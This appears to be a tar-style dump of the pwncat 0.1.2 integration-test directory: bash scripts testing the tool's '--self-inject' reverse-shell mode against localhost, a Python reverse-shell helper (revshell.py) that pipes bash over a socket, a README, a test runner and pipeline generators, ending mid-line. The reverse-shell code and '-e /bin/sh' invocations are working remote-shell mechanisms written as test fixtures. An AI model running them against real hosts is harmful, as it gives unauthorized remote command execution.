-------------------------------------------------------------------------------- # STOP: INSTANCES # -------------------------------------------------------------------------------- print_h2 "(4/8) Stop: Instances" run "kill -9 ${cli_pid} || true" run "kill ${srv_pid} || true" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/8) Start: FinalListener" # Start Server run "sleep 5" print_info "Start FinalListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(8/8) Test: FinalListener shut down automatically" ## Give some time for shutdown #run "sleep 5" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" ## [SERVER] Ensure Server has no errors #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # CLEANUP # -------------------------------------------------------------------------------- print_h2 "(8/8) Cleanup" run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # PwncatInjectListener opts RevShell opts # BIND ON ANY run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" done 002---tcp---revshell-single_byte-banner-suffix.sh000077500000000000000000000160461414025024700326230ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/30-cnc---self_inject#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" ONE_BYTE="1" SEND_DELAY="0" BANNER="banner\n" PREFIX1="" PREFIX2="" SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" SUFFIX2="tmux:>bash> " # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/8) Start: PwncatInjectListener" # Start Server print_info "Start PwncatInjectListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/8) Start: RevShell" # Start Client print_info "Start RevShell" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Client has no errors test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Inject shell is running # -------------------------------------------------------------------------------- print_h2 "(3/8) Test: Inject shell is running" CURR=0 TRIES=80 # shellcheck disable=SC2009 while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do printf "." sleep 1 CURR=$(( CURR + 1 )) if [ "${CURR}" -gt "${TRIES}" ]; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" print_file "RevShell] - [/dev/stderr" "${cli_stderr}" print_file "RevShell] - [/dev/stdout" "${cli_stdout}" FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" echo "${FILES}"| while read -r line; do echo "${line}" print_file "Remote tmpfile" "${line}" || true done print_error "Inject shell is not running" run "ps" run "ps -a" || true run "ps -au" || true run "ps -aux" || true run "ps a" || true run "ps au" || true run "ps aux" || true run "ps -ef" || true exit 1 fi done # -------------------------------------------------------------------------------- # STOP: INSTANCES # -------------------------------------------------------------------------------- print_h2 "(4/8) Stop: Instances" run "kill -9 ${cli_pid} || true" run "kill ${srv_pid} || true" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/8) Start: FinalListener" # Start Server run "sleep 5" print_info "Start FinalListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(8/8) Test: FinalListener shut down automatically" ## Give some time for shutdown #run "sleep 5" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" ## [SERVER] Ensure Server has no errors #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # CLEANUP # -------------------------------------------------------------------------------- print_h2 "(8/8) Cleanup" run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # PwncatInjectListener opts RevShell opts # BIND ON ANY run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" done 003---tcp---revshell-multi_byte-banner-suffix-delayed.sh000077500000000000000000000160511414025024700340760ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/30-cnc---self_inject#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" ONE_BYTE="0" SEND_DELAY="0.5" BANNER="banner\n" PREFIX1="" PREFIX2="" SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" SUFFIX2="tmux:>bash> " # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/8) Start: PwncatInjectListener" # Start Server print_info "Start PwncatInjectListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/8) Start: RevShell" # Start Client print_info "Start RevShell" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Client has no errors test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Inject shell is running # -------------------------------------------------------------------------------- print_h2 "(3/8) Test: Inject shell is running" CURR=0 TRIES=600 # shellcheck disable=SC2009 while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do printf "." sleep 1 CURR=$(( CURR + 1 )) if [ "${CURR}" -gt "${TRIES}" ]; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" print_file "RevShell] - [/dev/stderr" "${cli_stderr}" print_file "RevShell] - [/dev/stdout" "${cli_stdout}" FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" echo "${FILES}"| while read -r line; do echo "${line}" print_file "Remote tmpfile" "${line}" || true done print_error "Inject shell is not running" run "ps" run "ps -a" || true run "ps -au" || true run "ps -aux" || true run "ps a" || true run "ps au" || true run "ps aux" || true run "ps -ef" || true exit 1 fi done # -------------------------------------------------------------------------------- # STOP: INSTANCES # -------------------------------------------------------------------------------- print_h2 "(4/8) Stop: Instances" run "kill -9 ${cli_pid} || true" run "kill ${srv_pid} || true" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/8) Start: FinalListener" # Start Server run "sleep 5" print_info "Start FinalListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(8/8) Test: FinalListener shut down automatically" ## Give some time for shutdown #run "sleep 5" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" ## [SERVER] Ensure Server has no errors #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # CLEANUP # -------------------------------------------------------------------------------- print_h2 "(8/8) Cleanup" run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # PwncatInjectListener opts RevShell opts # BIND ON ANY run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" done 004---tcp---revshell-single_byte-banner-suffix-delayed.sh000077500000000000000000000161631414025024700342320ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/30-cnc---self_inject#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" ONE_BYTE="1" SEND_DELAY="0.1" BANNER="banner\n" PREFIX1="" PREFIX2="" SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" SUFFIX2="tmux:>bash> " # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/8) Start: PwncatInjectListener" # Start Server print_info "Start PwncatInjectListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/8) Start: RevShell" # Start Client print_info "Start RevShell" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is done run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Client has no errors test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Inject shell is running # -------------------------------------------------------------------------------- print_h2 "(3/8) Test: Inject shell is running" CURR=0 TRIES=600 # This needs to be very long as we're receiving single bytes with delay. # shellcheck disable=SC2009 while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do printf "." sleep 1 CURR=$(( CURR + 1 )) if [ "${CURR}" -gt "${TRIES}" ]; then kill_pid "${srv_pid}" || true kill_pid "${cli_pid}" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" print_file "RevShell] - [/dev/stderr" "${cli_stderr}" print_file "RevShell] - [/dev/stdout" "${cli_stdout}" FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" echo "${FILES}"| while read -r line; do echo "${line}" print_file "Remote tmpfile" "${line}" || true done print_error "Inject shell is not running" run "ps" run "ps -a" || true run "ps -au" || true run "ps -aux" || true run "ps a" || true run "ps au" || true run "ps aux" || true run "ps -ef" || true exit 1 fi done # -------------------------------------------------------------------------------- # STOP: INSTANCES # -------------------------------------------------------------------------------- print_h2 "(4/8) Stop: Instances" run "kill -9 ${cli_pid} || true" run "kill ${srv_pid} || true" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(6/8) Start: FinalListener" # Start Server run "sleep 5" print_info "Start FinalListener" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then printf "" fi # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(8/8) Test: FinalListener shut down automatically" ## Give some time for shutdown #run "sleep 5" ## [SERVER] Ensure Server has quit automatically #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" ## [SERVER] Ensure Server has no errors #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" run "kill ${srv_pid}" || true # -------------------------------------------------------------------------------- # CLEANUP # -------------------------------------------------------------------------------- print_h2 "(8/8) Cleanup" run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # PwncatInjectListener opts RevShell opts # BIND ON ANY run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/30-cnc---self_inject/bash000066400000000000000000000000001414025024700227200ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/30-cnc---self_inject/revshell.py000066400000000000000000000170461414025024700243000ustar00rootroot00000000000000#!/usr/bin/env python """Reverse shell helper.""" import os import socket import sys import time import threading from subprocess import PIPE from subprocess import check_output from subprocess import Popen from subprocess import STDOUT class MyQueue(object): """Custom queue implementation.""" def __init__(self): """Constructor.""" self.lock = threading.Semaphore() self.data = [] def qsize(self): """Return queue size.""" self.lock.acquire() size = len(self.data) self.lock.release() return size def put(self, data): """Add element to queue.""" self.lock.acquire() self.data.insert(0, data) self.lock.release() def empty(self): """Is the queue empty.""" return self.qsize() == 0 def get(self): """Pop and get last element.""" self.lock.acquire() data = self.data.pop() self.lock.release() return data class IOCommand(object): """IOCommand instance.""" def __init__(self, executable): print("Command: finding path of: {}".format(executable)) output = check_output(["which", executable]) output = output.rstrip() self.cmd = str(output.decode()) print("Command: found path: {}".format(self.cmd)) print("Command: Getting env") self.env = os.environ.copy() print("Command: env: {}".format(repr(self.env))) self.proc = Popen( self.cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT, bufsize=-1, shell=False, env=self.env, ) def output(self): """Command output.""" while True: # BLOCKING call data = self.proc.stdout.read(1) if not data: self.proc = Popen( self.cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT, bufsize=-1, shell=False, env=self.env, ) continue print("Command Output: {}".format(repr(data))) yield data def input(self, data): """Command input.""" self.proc.stdin.write(data) try: self.proc.stdin.flush() except IOError: pass class IONetwork(object): """IONetwork instance.""" def __init__(self, sock): self.sock = sock def recv(self): """Network receive.""" while True: data = self.sock.recv(8192) if data: print("Network Received: {}".format(repr(data))) yield data def send(self, data, send_one_byte, send_delay, prefix1=None, prefix2=None, suffix1=None, suffix2=None): """Network send.""" # Do we send a prefix before all command output? if prefix1 is not None: self.sock.send(prefix1) if prefix2 is not None: self.sock.send(prefix2) size = len(data) sent = 0 if send_one_byte: for char in data: time.sleep(send_delay) try: # Python2 sent += self.sock.send(char) print("Sending: {}".format(repr(char))) except TypeError: # Python3 sent += self.sock.send(bytes([char])) print("Sending: {}".format(repr(bytes([char])))) else: while sent < size: time.sleep(send_delay) sent += self.sock.send(data) # Do we send a suffx after all command output? if suffix1 is not None: self.sock.send(suffix1) if suffix2 is not None: self.sock.send(suffix2) return sent def main(argv): """Main entrypoint.""" host = argv[1] port = int(argv[2]) send_one_byte = True if len(argv) > 3 and argv[3] == "1" else False send_delay = float(argv[4]) if len(argv) > 4 and argv[4] else float(0.0) banner = argv[5] if len(argv) > 5 and argv[5] else None prefix1 = argv[6] if len(argv) > 6 and argv[6] else None prefix2 = argv[7] if len(argv) > 7 and argv[7] else None suffix1 = argv[8] if len(argv) > 8 and argv[8] else None suffix2 = argv[9] if len(argv) > 9 and argv[9] else None if send_one_byte: print("[SEND MODE]: sending one byte at a time.") else: print("[SEND MODE]: sending all bytes.") print("[SEND MODE]: Delaying send by {} seconds".format(send_delay)) print("Connecting to {}:{}".format(host, port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print("Connected to {}:{}".format(host, port)) command = IOCommand("bash") network = IONetwork(s) def exec_cmd(producer, consumer): for data in producer(): consumer(data) def add_queue(producer, q): for data in producer(): q.put(data) # Send Banner? if banner is not None: banner = banner.replace("\\n", "\n") banner = banner.replace("\\r", "\r") try: banner = banner.encode("utf8") except UnicodeDecodeError: pass print("[MODE]: sending banner: {}".format(repr(banner))) time.sleep(send_delay) s.sendall(banner) # Prepare prefix if prefix1 is not None: prefix1 = prefix1.replace("\\n", "\n") prefix1 = prefix1.replace("\\r", "\r") try: prefix1 = prefix1.encode("utf8") except UnicodeDecodeError: pass print("[MODE]: sending prefix1: {}".format(repr(prefix1))) if prefix2 is not None: prefix2 = prefix2.replace("\\n", "\n") prefix2 = prefix2.replace("\\r", "\r") try: prefix2 = prefix2.encode("utf8") except UnicodeDecodeError: pass print("[MODE]: sending prefix2: {}".format(repr(prefix2))) # Prepare suffix if suffix1 is not None: suffix1 = suffix1.replace("\\n", "\n") suffix1 = suffix1.replace("\\r", "\r") try: suffix1 = suffix1.encode("utf8") except UnicodeDecodeError: pass print("[MODE]: sending suffix1: {}".format(repr(suffix1))) time.sleep(send_delay) s.send(suffix1) if suffix2 is not None: suffix2 = suffix2.replace("\\n", "\n") suffix2 = suffix2.replace("\\r", "\r") try: suffix2 = suffix2.encode("utf8") except UnicodeDecodeError: pass print("[MODE]: sending suffix2: {}".format(repr(suffix2))) time.sleep(send_delay) s.send(suffix2) q = MyQueue() t1 = threading.Thread(target=exec_cmd, args=(network.recv, command.input)) t2 = threading.Thread(target=add_queue, args=(command.output, q)) t1.daemon = True t2.daemon = True t1.start() t2.start() oldsize = 0 newsize = 0 data = [] while True: newsize = q.qsize() if newsize > 0: # No new items added during this round if newsize == oldsize: # Fetch all items and send them at once while not q.empty(): data.append(q.get()) network.send(b"".join(data), send_one_byte, send_delay, prefix1, prefix2, suffix1, suffix2) data = [] # flush oldsize = newsize time.sleep(0.01) if __name__ == "__main__": try: main(sys.argv) except KeyboardInterrupt: sys.exit(1) pwncat-0.1.2/tests/integration/README.md000066400000000000000000000004741414025024700177560ustar00rootroot00000000000000# Integration tests These tests are supposed to run via GitHub Actions on different OS (Linux, MacOS and Windows) against all possible Python versions. You can still run them yourself on your OS with your currently installed Python version. Use the `Makefile` in the root directory to do so: ```bash make test ``` pwncat-0.1.2/tests/integration/run.sh000077500000000000000000000016561414025024700176450ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" print_usage() { echo "Usage: ${0}

[host] [port] [wait] [runs] [python]" echo "Valid dirs:" echo find "${SCRIPTPATH}" -type d -exec basename {} \; | grep -E '^[0-9].*' | sort } ### ### Validate command line argument is present ### if [ "${#}" -lt "1" ]; then echo "Error, missing required argument." print_usage exit 1 fi ### ### Validate command line argument is correct directory ### if [ ! -d "${SCRIPTPATH}/${1}" ]; then echo "Error, provided argument is not a valid directory." print_usage exit 1 fi ### ### Run the tests from a directory ### TESTDIR="${SCRIPTPATH}/${1}" find "${TESTDIR}" -name '*.sh' -type f | sort | while read -r -d $'\n' file; do # Script # Bind addr # Bind port # Wait # Runs # Python "${file}" "${2:-localhost}" "${3:-4444}" "${4:-2}" "${5:-1}" "${6:-}" done pwncat-0.1.2/tests/pipelines/000077500000000000000000000000001414025024700161375ustar00rootroot00000000000000pwncat-0.1.2/tests/pipelines/README.md000066400000000000000000000001171414025024700174150ustar00rootroot00000000000000# Pipelines These are just a few scripts to generate GitHub Action pipelines. pwncat-0.1.2/tests/pipelines/_gen-smoke.sh000066400000000000000000000017731414025024700205270ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPT_PATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" TPL_NAME="template-smoke.yml.tpl" TPL_PATH="${SCRIPT_PATH}/${TPL_NAME}" FLW_PATH="${SCRIPT_PATH}/../../.github/workflows" ### ### Build Matrix ### VERSION_MATRIX=( "2.7" "3.5" "3.6" "3.7" "3.8" ) ### ### Ensure old flows are removed ### rm -f "${FLW_PATH}/smoke-"* ### ### Ensure new flows are created ### for v in "${VERSION_MATRIX[@]}"; do py="${v}" flw_file="${FLW_PATH}/smoke-${py}.yml" flw_name="smoke-${py}" job_name="[smoke] python-${py}" printf "%s\\n" "-----------------------------------------------------------" printf "file: %s\\n" "${flw_file}" printf "flw name: %s\\n" "${flw_name}" printf "job name: %s\\n" "${job_name}" printf "Python: %s\\n" "${py}" # shellcheck disable=SC2002 cat "${TPL_PATH}" \ | sed "s/__WORKFLOW_NAME__/${flw_name}/g" \ | sed "s/__PYTHON_VERSION__/${py}/g" \ | sed "s/__JOB_NAME__/${job_name}/g" \ > "${flw_file}" done pwncat-0.1.2/tests/pipelines/_gen-test.sh000066400000000000000000000101461414025024700203620ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPT_PATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" TPL_NAME="template-test.yml.tpl" TPL_PATH="${SCRIPT_PATH}/${TPL_NAME}" FLW_PATH="${SCRIPT_PATH}/../../.github/workflows" escape_for_sed() { local data="${1}" data="${data//\\/\\\\}" data="${data//\"/\\\"}" data="${data//\'/\\\'}" data="${data//\(/\\\(}" data="${data//\)/\\\)}" data="${data//\{/\\\{}" data="${data//\}/\\\}}" data="${data//\$/\\\$}" data="${data//\*/\\\*}" data="${data//\;/\\\;}" data="$( printf "%s" "${data}" | sed 